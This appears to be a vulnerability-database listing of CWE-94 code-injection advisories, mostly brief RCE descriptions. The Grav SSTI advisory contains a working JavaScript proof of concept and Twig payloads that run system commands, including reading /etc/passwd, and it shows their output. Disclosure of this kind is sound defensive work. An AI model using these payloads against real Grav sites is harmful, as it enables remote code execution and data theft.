Common Weakness Enumeration

CWE-94

Allowed-with-Review

Improper Control of Generation of Code ('Code Injection')

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

8285 vulnerabilities reference this CWE, most recent first.

GHSA-F8W6-8HPV-RRJJ

Vulnerability from github – Published: 2026-05-12 18:30 – Updated: 2026-05-12 18:30
VLAI
Details

Improper control of generation of code ('code injection') in Microsoft Dynamics 365 (on-premises) allows an authorized attacker to execute code over a network.

Severity
9.9 (Critical)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2026-42898"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-12T18:17:26Z",
    "severity": "CRITICAL"
  },
  "details": "Improper control of generation of code (\u0027code injection\u0027) in Microsoft Dynamics 365 (on-premises) allows an authorized attacker to execute code over a network.",
  "id": "GHSA-f8w6-8hpv-rrjj",
  "modified": "2026-05-12T18:30:47Z",
  "published": "2026-05-12T18:30:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42898"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42898"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F8X4-PV8V-WWWR

Vulnerability from github – Published: 2022-05-01 23:54 – Updated: 2022-05-01 23:54
VLAI
Details

Multiple PHP remote file inclusion vulnerabilities in MiGCMS 2.0.5, when register_globals is enabled, allow remote attackers to execute arbitrary PHP code via a URL in the GLOBALS[application][app_root] parameter to (1) collection.class.php and (2) content_image.class.php in lib/obj/.

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{
  "affected": [],
  "aliases": [
    "CVE-2008-2888"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2008-06-27T18:41:00Z",
    "severity": "HIGH"
  },
  "details": "Multiple PHP remote file inclusion vulnerabilities in MiGCMS 2.0.5, when register_globals is enabled, allow remote attackers to execute arbitrary PHP code via a URL in the GLOBALS[application][app_root] parameter to (1) collection.class.php and (2) content_image.class.php in lib/obj/.",
  "id": "GHSA-f8x4-pv8v-wwwr",
  "modified": "2022-05-01T23:54:30Z",
  "published": "2022-05-01T23:54:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-2888"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/43250"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/5901"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/30770"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/29874"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-F92H-24FV-Q8VJ

Vulnerability from github – Published: 2022-05-24 17:34 – Updated: 2022-05-24 17:34
VLAI
Details

BinaryNights ForkLift 3.4 was compiled with the com.apple.security.cs.disable-library-validation flag enabled which allowed a local attacker to inject code into ForkLift. This would allow the attacker to run malicious code with escalated privileges through ForkLift's helper tool.

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{
  "affected": [],
  "aliases": [
    "CVE-2020-27192"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-11-17T02:15:00Z",
    "severity": "HIGH"
  },
  "details": "BinaryNights ForkLift 3.4 was compiled with the com.apple.security.cs.disable-library-validation flag enabled which allowed a local attacker to inject code into ForkLift. This would allow the attacker to run malicious code with escalated privileges through ForkLift\u0027s helper tool.",
  "id": "GHSA-f92h-24fv-q8vj",
  "modified": "2022-05-24T17:34:30Z",
  "published": "2022-05-24T17:34:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-27192"
    },
    {
      "type": "WEB",
      "url": "https://insinuator.net/2020/11/forklift-lpe"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-F96G-5RMJ-PFHF

Vulnerability from github – Published: 2022-05-17 02:42 – Updated: 2025-04-20 03:38
VLAI
Details

PivotX 2.3.11 allows remote authenticated users to execute arbitrary PHP code via vectors involving an upload of a .htaccess file.

Severity
8.8 (High)
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2017-8402"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-05-31T04:29:00Z",
    "severity": "HIGH"
  },
  "details": "PivotX 2.3.11 allows remote authenticated users to execute arbitrary PHP code via vectors involving an upload of a .htaccess file.",
  "id": "GHSA-f96g-5rmj-pfhf",
  "modified": "2025-04-20T03:38:23Z",
  "published": "2022-05-17T02:42:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-8402"
    },
    {
      "type": "WEB",
      "url": "https://sourceforge.net/p/pivot-weblog/code/4489"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F987-FHWW-HFVP

Vulnerability from github – Published: 2022-05-14 01:31 – Updated: 2022-05-14 01:31
VLAI
Details

Microsoft Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, and Windows 7 SP1 allow remote attackers to execute arbitrary code via a crafted Enhanced Metafile (EMF) image, aka "EMF Processing Remote Code Execution Vulnerability."

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{
  "affected": [],
  "aliases": [
    "CVE-2015-1645"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2015-04-14T20:59:00Z",
    "severity": "HIGH"
  },
  "details": "Microsoft Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, and Windows 7 SP1 allow remote attackers to execute arbitrary code via a crafted Enhanced Metafile (EMF) image, aka \"EMF Processing Remote Code Execution Vulnerability.\"",
  "id": "GHSA-f987-fhww-hfvp",
  "modified": "2022-05-14T01:31:24Z",
  "published": "2022-05-14T01:31:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2015-1645"
    },
    {
      "type": "WEB",
      "url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2015/ms15-035"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/131457/Microsoft-Windows-GDI-MRSETDIBITSTODEVICE-bPlay-EMF-Parsing-Memory-Corruption.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/535272/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1032110"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-F988-Q9M6-R9H6

Vulnerability from github – Published: 2022-11-02 12:00 – Updated: 2022-11-02 19:00
VLAI
Details

The issue was addressed with improved memory handling. This issue is fixed in tvOS 16.1, macOS Big Sur 11.7, macOS Ventura 13, watchOS 9.1, iOS 16.1 and iPadOS 16, macOS Monterey 12.6. An app may be able to execute arbitrary code with kernel privileges.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2022-32924"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-11-01T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "The issue was addressed with improved memory handling. This issue is fixed in tvOS 16.1, macOS Big Sur 11.7, macOS Ventura 13, watchOS 9.1, iOS 16.1 and iPadOS 16, macOS Monterey 12.6. An app may be able to execute arbitrary code with kernel privileges.",
  "id": "GHSA-f988-q9m6-r9h6",
  "modified": "2022-11-02T19:00:25Z",
  "published": "2022-11-02T12:00:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-32924"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT213443"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT213444"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT213488"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT213489"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT213491"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT213492"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/170010/XNU-Dangling-PTE-Entry.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F9JF-4CP4-4FQ5

Vulnerability from github – Published: 2023-06-16 19:35 – Updated: 2023-06-16 19:35
VLAI
Summary
Grav Server Side Template Injection (SSTI) vulnerability
Details

Summary

I found an RCE(Remote Code Execution) by SSTI in the admin screen.

Details

Remote Code Execution is possible by embedding malicious PHP code on the administrator screen by a user with page editing privileges.

PoC

  1. Log in to the administrator screen and access the edit screen of the default page "Typography". (http://127.0.0.1:8000/admin/pages/typography)
  2. Open the browser's console screen and execute the following JavaScript code to confirm that an arbitrary command (id) is being executed.
(async () => {
  const nonce = document.querySelector("input[name=admin-nonce]").value;
  const id = document.querySelector("input[name=__unique_form_id__]").value;

  const payload = "{{['id']|map('system')|join}}"; // SSTI Payload

  const params = new URLSearchParams();
  params.append("task", "save");
  params.append("data[header][title]", "poc");
  params.append("data[content]", payload);
  params.append("data[folder]", "poc");
  params.append("data[route]", "");
  params.append("data[name]", "default");
  params.append("data[header][body_classes]", "");
  params.append("data[ordering]", 1);
  params.append("data[order]", "");
  params.append("toggleable_data[header][process]", "on");
  params.append("data[header][process][twig]", 1);
  params.append("data[header][order_by]", "");
  params.append("data[header][order_manual]", "");
  params.append("data[blueprint", "");
  params.append("data[lang]", "");
  params.append("_post_entries_save", "edit");
  params.append("__form-name__", "flex-pages");
  params.append("__unique_form_id__", id);
  params.append("admin-nonce", nonce);

  await fetch("http://127.0.0.1:8000/admin/pages/typography", {
    method: "POST",
    headers: {
      "content-type": "application/x-www-form-urlencoded",
    },
    body: params,
  });

  window.open("http://127.0.0.1:8000/admin/pages/poc/:preview");
})();

Execution Result

  • Payload: {{['id']|map('system')|join}}
uid=501(<user_name>) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae) uid=501(<user_name>) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae)
  • Payload: {{['cat /etc/passwd']|map('system')|join}}
## # User Database # # Note that this file is consulted directly only when the system is running # in single-user mode. At other times this information is provided by # Open Directory. # # See the opendirectoryd(8) man page for additional information about # Open Directory. ## nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false root:*:0:0:System Administrator:/var/root:/bin/sh daemon:*:1:1:System Services:/var/root:/usr/bin/false _uucp:*:4:4:Unix to Unix Copy Protocol:/var/spool/uucp:/usr/sbin/uucico _taskgated:*:13:13:Task Gate Daemon:/var/empty:/usr/bin/false _networkd:*:24:24:Network Services:/var/networkd:/usr/bin/false _installassistant:*:25:25:Install Assistant:/var/empty:/usr/bin/false _lp:*:26:26:Printing Services:/var/spool/cups:/usr/bin/false _postfix:*:27:27:Postfix Mail Server:/var/spool/postfix:/usr/bin/false _scsd:*:31:31:Service Configuration Service:/var/empty:/usr/bin/false _ces:*:32:32:Certificate Enrollment Service:/var/empty:/usr/bin/false _appstore:*:33:33:Mac App Store Service:/var/db/appstore:/usr/bin/false _mcxalr:*:54:54:MCX AppLaunch:/var/empty:/usr/bin/false _appleevents:*:55:55:AppleEvents Daemon:/var/empty:/usr/bin/false _geod:*:56:56:Geo Services Daemon:/var/db/geod:/usr/bin/false _devdocs:*:59:59:Developer Documentation:/var/empty:/usr/bin/false _sandbox:*:60:60:Seatbelt:/var/empty:/usr/bin/false _mdnsresponder:*:65:65:mDNSResponder:/var/empty:/usr/bin/false _ard:*:67:67:Apple Remote Desktop:/var/empty:/usr/bin/false _www:*:70:70:World Wide Web Server:/Library/WebServer:/usr/bin/false _eppc:*:71:71:Apple Events User:/var/empty:/usr/bin/false _cvs:*:72:72:CVS Server:/var/empty:/usr/bin/false _svn:*:73:73:SVN Server:/var/empty:/usr/bin/false _mysql:*:74:74:MySQL Server:/var/empty:/usr/bin/false _sshd:*:75:75:sshd Privilege separation:/var/empty:/usr/bin/false _qtss:*:76:76:QuickTime Streaming Server:/var/empty:/usr/bin/false _cyrus:*:77:6:Cyrus Administrator:/var/imap:/usr/bin/false _mailman:*:78:78:Mailman List Server:/var/empty:/usr/bin/false _appserver:*:79:79:Application Server:/var/empty:/usr/bin/false _clamav:*:82:82:ClamAV Daemon:/var/virusmails:/usr/bin/false _amavisd:*:83:83:AMaViS Daemon:/var/virusmails:/usr/bin/false _jabber:*:84:84:Jabber XMPP Server:/var/empty:/usr/bin/false _appowner:*:87:87:Application Owner:/var/empty:/usr/bin/false _windowserver:*:88:88:WindowServer:/var/empty:/usr/bin/false _spotlight:*:89:89:Spotlight:/var/empty:/usr/bin/false _tokend:*:91:91:Token Daemon:/var/empty:/usr/bin/false _securityagent:*:92:92:SecurityAgent:/var/db/securityagent:/usr/bin/false _calendar:*:93:93:Calendar:/var/empty:/usr/bin/false _teamsserver:*:94:94:TeamsServer:/var/teamsserver:/usr/bin/false _update_sharing:*:95:-2:Update Sharing:/var/empty:/usr/bin/false _installer:*:96:-2:Installer:/var/empty:/usr/bin/false _atsserver:*:97:97:ATS Server:/var/empty:/usr/bin/false _ftp:*:98:-2:FTP Daemon:/var/empty:/usr/bin/false _unknown:*:99:99:Unknown User:/var/empty:/usr/bin/false _softwareupdate:*:200:200:Software Update Service:/var/db/softwareupdate:/usr/bin/false _coreaudiod:*:202:202:Core Audio Daemon:/var/empty:/usr/bin/false _screensaver:*:203:203:Screensaver:/var/empty:/usr/bin/false _locationd:*:205:205:Location Daemon:/var/db/locationd:/usr/bin/false _trustevaluationagent:*:208:208:Trust Evaluation Agent:/var/empty:/usr/bin/false _timezone:*:210:210:AutoTimeZoneDaemon:/var/empty:/usr/bin/false _lda:*:211:211:Local Delivery Agent:/var/empty:/usr/bin/false _cvmsroot:*:212:212:CVMS Root:/var/empty:/usr/bin/false _usbmuxd:*:213:213:iPhone OS Device Helper:/var/db/lockdown:/usr/bin/false _dovecot:*:214:6:Dovecot Administrator:/var/empty:/usr/bin/false _dpaudio:*:215:215:DP Audio:/var/empty:/usr/bin/false _postgres:*:216:216:PostgreSQL Server:/var/empty:/usr/bin/false _krbtgt:*:217:-2:Kerberos Ticket Granting Ticket:/var/empty:/usr/bin/false _kadmin_admin:*:218:-2:Kerberos Admin Service:/var/empty:/usr/bin/false _kadmin_changepw:*:219:-2:Kerberos Change Password Service:/var/empty:/usr/bin/false _devicemgr:*:220:220:Device Management Server:/var/empty:/usr/bin/false _webauthserver:*:221:221:Web Auth Server:/var/empty:/usr/bin/false _netbios:*:222:222:NetBIOS:/var/empty:/usr/bin/false _warmd:*:224:224:Warm Daemon:/var/empty:/usr/bin/false _dovenull:*:227:227:Dovecot Authentication:/var/empty:/usr/bin/false _netstatistics:*:228:228:Network Statistics Daemon:/var/empty:/usr/bin/false _avbdeviced:*:229:-2:Ethernet AVB Device Daemon:/var/empty:/usr/bin/false _krb_krbtgt:*:230:-2:Open Directory Kerberos Ticket Granting Ticket:/var/empty:/usr/bin/false _krb_kadmin:*:231:-2:Open Directory Kerberos Admin Service:/var/empty:/usr/bin/false _krb_changepw:*:232:-2:Open Directory Kerberos Change Password Service:/var/empty:/usr/bin/false _krb_kerberos:*:233:-2:Open Directory Kerberos:/var/empty:/usr/bin/false _krb_anonymous:*:234:-2:Open Directory Kerberos Anonymous:/var/empty:/usr/bin/false _assetcache:*:235:235:Asset Cache Service:/var/empty:/usr/bin/false _coremediaiod:*:236:236:Core Media IO Daemon:/var/empty:/usr/bin/false _launchservicesd:*:239:239:_launchservicesd:/var/empty:/usr/bin/false _iconservices:*:240:240:IconServices:/var/empty:/usr/bin/false _distnote:*:241:241:DistNote:/var/empty:/usr/bin/false _nsurlsessiond:*:242:242:NSURLSession Daemon:/var/db/nsurlsessiond:/usr/bin/false _displaypolicyd:*:244:244:Display Policy Daemon:/var/empty:/usr/bin/false _astris:*:245:245:Astris Services:/var/db/astris:/usr/bin/false _krbfast:*:246:-2:Kerberos FAST Account:/var/empty:/usr/bin/false _gamecontrollerd:*:247:247:Game Controller Daemon:/var/empty:/usr/bin/false _mbsetupuser:*:248:248:Setup User:/var/setup:/bin/bash _ondemand:*:249:249:On Demand Resource Daemon:/var/db/ondemand:/usr/bin/false _xserverdocs:*:251:251:macOS Server Documents Service:/var/empty:/usr/bin/false _wwwproxy:*:252:252:WWW Proxy:/var/empty:/usr/bin/false _mobileasset:*:253:253:MobileAsset User:/var/ma:/usr/bin/false _findmydevice:*:254:254:Find My Device Daemon:/var/db/findmydevice:/usr/bin/false _datadetectors:*:257:257:DataDetectors:/var/db/datadetectors:/usr/bin/false _captiveagent:*:258:258:captiveagent:/var/empty:/usr/bin/false _ctkd:*:259:259:ctkd Account:/var/empty:/usr/bin/false _applepay:*:260:260:applepay Account:/var/db/applepay:/usr/bin/false _hidd:*:261:261:HID Service User:/var/db/hidd:/usr/bin/false _cmiodalassistants:*:262:262:CoreMedia IO Assistants User:/var/db/cmiodalassistants:/usr/bin/false _analyticsd:*:263:263:Analytics Daemon:/var/db/analyticsd:/usr/bin/false _fpsd:*:265:265:FPS Daemon:/var/db/fpsd:/usr/bin/false _timed:*:266:266:Time Sync Daemon:/var/db/timed:/usr/bin/false _nearbyd:*:268:268:Proximity and Ranging Daemon:/var/db/nearbyd:/usr/bin/false _reportmemoryexception:*:269:269:ReportMemoryException:/var/db/reportmemoryexception:/usr/bin/false _driverkit:*:270:270:DriverKit:/var/empty:/usr/bin/false _diskimagesiod:*:271:271:DiskImages IO Daemon:/var/db/diskimagesiod:/usr/bin/false _logd:*:272:272:Log Daemon:/var/db/diagnostics:/usr/bin/false _appinstalld:*:273:273:App Install Daemon:/var/db/appinstalld:/usr/bin/false _installcoordinationd:*:274:274:Install Coordination Daemon:/var/db/installcoordinationd:/usr/bin/false _demod:*:275:275:Demo Daemon:/var/empty:/usr/bin/false _rmd:*:277:277:Remote Management Daemon:/var/db/rmd:/usr/bin/false _accessoryupdater:*:278:278:Accessory Update Daemon:/var/db/accessoryupdater:/usr/bin/false _knowledgegraphd:*:279:279:Knowledge Graph Daemon:/var/db/knowledgegraphd:/usr/bin/false _coreml:*:280:280:CoreML Services:/var/db/coreml:/usr/bin/false _sntpd:*:281:281:SNTP Server Daemon:/var/empty:/usr/bin/false _trustd:*:282:282:trustd:/var/empty:/usr/bin/false _mmaintenanced:*:283:283:mmaintenanced:/var/db/mmaintenanced:/usr/bin/false _darwindaemon:*:284:284:Darwin Daemon:/var/db/darwindaemon:/usr/bin/false _notification_proxy:*:285:285:Notification Proxy:/var/empty:/usr/bin/false _avphidbridge:*:288:288:Apple Virtual Platform HID Bridge:/var/empty:/usr/bin/false _biome:*:289:289:Biome:/var/db/biome:/usr/bin/false _backgroundassets:*:291:291:Background Assets Service:/var/empty:/usr/bin/false _oahd:*:441:441:OAH Daemon:/var/empty:/usr/bin/false _oahd:*:441:441:OAH Daemon:/var/empty:/usr/bin/false

PoC Video

Impact

Remote Command Execution (RCE) is possible.

Occurrences

  • https://github.com/getgrav/grav/blob/develop/system/src/Grav/Common/Twig/Extension/GravExtension.php#L174

References

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "getgrav/grav"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.7.42"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-34251"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-06-16T19:35:56Z",
    "nvd_published_at": "2023-06-14T22:15:09Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nI found an RCE(Remote Code Execution) by SSTI in the admin screen.\n\n### Details\nRemote Code Execution is possible by embedding malicious PHP code on the administrator screen by a user with page editing privileges.\n\n### PoC\n1. Log in to the administrator screen and access the edit screen of the default page \"Typography\". (`http://127.0.0.1:8000/admin/pages/typography`)\n2. Open the browser\u0027s console screen and execute the following JavaScript code to confirm that an arbitrary command (`id`) is being executed.\n```js\n(async () =\u003e {\n  const nonce = document.querySelector(\"input[name=admin-nonce]\").value;\n  const id = document.querySelector(\"input[name=__unique_form_id__]\").value;\n\n  const payload = \"{{[\u0027id\u0027]|map(\u0027system\u0027)|join}}\"; // SSTI Payload\n\n  const params = new URLSearchParams();\n  params.append(\"task\", \"save\");\n  params.append(\"data[header][title]\", \"poc\");\n  params.append(\"data[content]\", payload);\n  params.append(\"data[folder]\", \"poc\");\n  params.append(\"data[route]\", \"\");\n  params.append(\"data[name]\", \"default\");\n  params.append(\"data[header][body_classes]\", \"\");\n  params.append(\"data[ordering]\", 1);\n  params.append(\"data[order]\", \"\");\n  params.append(\"toggleable_data[header][process]\", \"on\");\n  params.append(\"data[header][process][twig]\", 1);\n  params.append(\"data[header][order_by]\", \"\");\n  params.append(\"data[header][order_manual]\", \"\");\n  params.append(\"data[blueprint\", \"\");\n  params.append(\"data[lang]\", \"\");\n  params.append(\"_post_entries_save\", \"edit\");\n  params.append(\"__form-name__\", \"flex-pages\");\n  params.append(\"__unique_form_id__\", id);\n  params.append(\"admin-nonce\", nonce);\n\n  await fetch(\"http://127.0.0.1:8000/admin/pages/typography\", {\n    method: \"POST\",\n    headers: {\n      \"content-type\": \"application/x-www-form-urlencoded\",\n    },\n    body: params,\n  });\n\n  window.open(\"http://127.0.0.1:8000/admin/pages/poc/:preview\");\n})();\n```\n\n#### Execution Result\n- Payload: `{{[\u0027id\u0027]|map(\u0027system\u0027)|join}}`\n```sh\nuid=501(\u003cuser_name\u003e) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae) uid=501(\u003cuser_name\u003e) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae)\n```\n- Payload: `{{[\u0027cat /etc/passwd\u0027]|map(\u0027system\u0027)|join}}`\n```sh\n## # User Database # # Note that this file is consulted directly only when the system is running # in single-user mode. At other times this information is provided by # Open Directory. # # See the opendirectoryd(8) man page for additional information about # Open Directory. ## nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false root:*:0:0:System Administrator:/var/root:/bin/sh daemon:*:1:1:System Services:/var/root:/usr/bin/false _uucp:*:4:4:Unix to Unix Copy Protocol:/var/spool/uucp:/usr/sbin/uucico _taskgated:*:13:13:Task Gate Daemon:/var/empty:/usr/bin/false _networkd:*:24:24:Network Services:/var/networkd:/usr/bin/false _installassistant:*:25:25:Install Assistant:/var/empty:/usr/bin/false _lp:*:26:26:Printing Services:/var/spool/cups:/usr/bin/false _postfix:*:27:27:Postfix Mail Server:/var/spool/postfix:/usr/bin/false _scsd:*:31:31:Service Configuration Service:/var/empty:/usr/bin/false _ces:*:32:32:Certificate Enrollment Service:/var/empty:/usr/bin/false _appstore:*:33:33:Mac App Store Service:/var/db/appstore:/usr/bin/false _mcxalr:*:54:54:MCX AppLaunch:/var/empty:/usr/bin/false _appleevents:*:55:55:AppleEvents Daemon:/var/empty:/usr/bin/false _geod:*:56:56:Geo Services Daemon:/var/db/geod:/usr/bin/false _devdocs:*:59:59:Developer Documentation:/var/empty:/usr/bin/false _sandbox:*:60:60:Seatbelt:/var/empty:/usr/bin/false _mdnsresponder:*:65:65:mDNSResponder:/var/empty:/usr/bin/false _ard:*:67:67:Apple Remote Desktop:/var/empty:/usr/bin/false _www:*:70:70:World Wide Web Server:/Library/WebServer:/usr/bin/false _eppc:*:71:71:Apple Events User:/var/empty:/usr/bin/false _cvs:*:72:72:CVS Server:/var/empty:/usr/bin/false _svn:*:73:73:SVN Server:/var/empty:/usr/bin/false _mysql:*:74:74:MySQL Server:/var/empty:/usr/bin/false _sshd:*:75:75:sshd Privilege separation:/var/empty:/usr/bin/false _qtss:*:76:76:QuickTime Streaming Server:/var/empty:/usr/bin/false _cyrus:*:77:6:Cyrus Administrator:/var/imap:/usr/bin/false _mailman:*:78:78:Mailman List Server:/var/empty:/usr/bin/false _appserver:*:79:79:Application Server:/var/empty:/usr/bin/false _clamav:*:82:82:ClamAV Daemon:/var/virusmails:/usr/bin/false _amavisd:*:83:83:AMaViS Daemon:/var/virusmails:/usr/bin/false _jabber:*:84:84:Jabber XMPP Server:/var/empty:/usr/bin/false _appowner:*:87:87:Application Owner:/var/empty:/usr/bin/false _windowserver:*:88:88:WindowServer:/var/empty:/usr/bin/false _spotlight:*:89:89:Spotlight:/var/empty:/usr/bin/false _tokend:*:91:91:Token Daemon:/var/empty:/usr/bin/false _securityagent:*:92:92:SecurityAgent:/var/db/securityagent:/usr/bin/false _calendar:*:93:93:Calendar:/var/empty:/usr/bin/false _teamsserver:*:94:94:TeamsServer:/var/teamsserver:/usr/bin/false _update_sharing:*:95:-2:Update Sharing:/var/empty:/usr/bin/false _installer:*:96:-2:Installer:/var/empty:/usr/bin/false _atsserver:*:97:97:ATS Server:/var/empty:/usr/bin/false _ftp:*:98:-2:FTP Daemon:/var/empty:/usr/bin/false _unknown:*:99:99:Unknown User:/var/empty:/usr/bin/false _softwareupdate:*:200:200:Software Update Service:/var/db/softwareupdate:/usr/bin/false _coreaudiod:*:202:202:Core Audio Daemon:/var/empty:/usr/bin/false _screensaver:*:203:203:Screensaver:/var/empty:/usr/bin/false _locationd:*:205:205:Location Daemon:/var/db/locationd:/usr/bin/false _trustevaluationagent:*:208:208:Trust Evaluation Agent:/var/empty:/usr/bin/false _timezone:*:210:210:AutoTimeZoneDaemon:/var/empty:/usr/bin/false _lda:*:211:211:Local Delivery Agent:/var/empty:/usr/bin/false _cvmsroot:*:212:212:CVMS Root:/var/empty:/usr/bin/false _usbmuxd:*:213:213:iPhone OS Device Helper:/var/db/lockdown:/usr/bin/false _dovecot:*:214:6:Dovecot Administrator:/var/empty:/usr/bin/false _dpaudio:*:215:215:DP Audio:/var/empty:/usr/bin/false _postgres:*:216:216:PostgreSQL Server:/var/empty:/usr/bin/false _krbtgt:*:217:-2:Kerberos Ticket Granting Ticket:/var/empty:/usr/bin/false _kadmin_admin:*:218:-2:Kerberos Admin Service:/var/empty:/usr/bin/false _kadmin_changepw:*:219:-2:Kerberos Change Password Service:/var/empty:/usr/bin/false _devicemgr:*:220:220:Device Management Server:/var/empty:/usr/bin/false _webauthserver:*:221:221:Web Auth Server:/var/empty:/usr/bin/false _netbios:*:222:222:NetBIOS:/var/empty:/usr/bin/false _warmd:*:224:224:Warm Daemon:/var/empty:/usr/bin/false _dovenull:*:227:227:Dovecot Authentication:/var/empty:/usr/bin/false _netstatistics:*:228:228:Network Statistics Daemon:/var/empty:/usr/bin/false _avbdeviced:*:229:-2:Ethernet AVB Device Daemon:/var/empty:/usr/bin/false _krb_krbtgt:*:230:-2:Open Directory Kerberos Ticket Granting Ticket:/var/empty:/usr/bin/false _krb_kadmin:*:231:-2:Open Directory Kerberos Admin Service:/var/empty:/usr/bin/false _krb_changepw:*:232:-2:Open Directory Kerberos Change Password Service:/var/empty:/usr/bin/false _krb_kerberos:*:233:-2:Open Directory Kerberos:/var/empty:/usr/bin/false _krb_anonymous:*:234:-2:Open Directory Kerberos Anonymous:/var/empty:/usr/bin/false _assetcache:*:235:235:Asset Cache Service:/var/empty:/usr/bin/false _coremediaiod:*:236:236:Core Media IO Daemon:/var/empty:/usr/bin/false _launchservicesd:*:239:239:_launchservicesd:/var/empty:/usr/bin/false _iconservices:*:240:240:IconServices:/var/empty:/usr/bin/false 